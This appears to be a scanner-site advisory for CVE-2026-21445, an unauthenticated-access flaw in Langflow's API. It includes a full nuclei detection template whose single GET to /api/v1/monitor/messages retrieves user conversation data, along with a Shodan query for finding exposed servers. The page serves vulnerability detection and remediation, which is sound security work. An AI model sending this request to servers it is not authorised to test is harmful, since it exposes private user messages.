Langflow - Broken Access Control

criticalseverity

9.1CVSS score

33.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.

Impact

Unauthenticated attackers can access sensitive user data and perform destructive actions, risking data loss and privacy breaches.

Fix

Update to version 1.7.0.dev45 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v1/monitor/messages
Positive when: contains "\"text\":" and "\"timestamp\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2026-21445 -u <target>

The full check

id: CVE-2026-21445

info:
  name: Langflow - Broken Access Control
  author: DhiyaneshDk
  severity: critical
  description: |
    Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.
  remediation: Update to version 1.7.0.dev45 or later.
  impact: |
    Unauthenticated attackers can access sensitive user data and perform destructive actions, risking data loss and privacy breaches.
  reference:
    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-c5cp-vx83-jhqx
    - https://nvd.nist.gov/vuln/detail/CVE-2026-21445
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-21445
    cwe-id: CWE-306
    epss-score: 0.33289
    epss-percentile: 0.98384
  metadata:
    verified: true
    max-request: 1
    vendor: langflow-ai
    product: langflow
    shodan-query: html:"Langflow"
  tags: cve,cve2026,langflow,auth-bypass,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/monitor/messages"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"text":'
          - '"timestamp":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from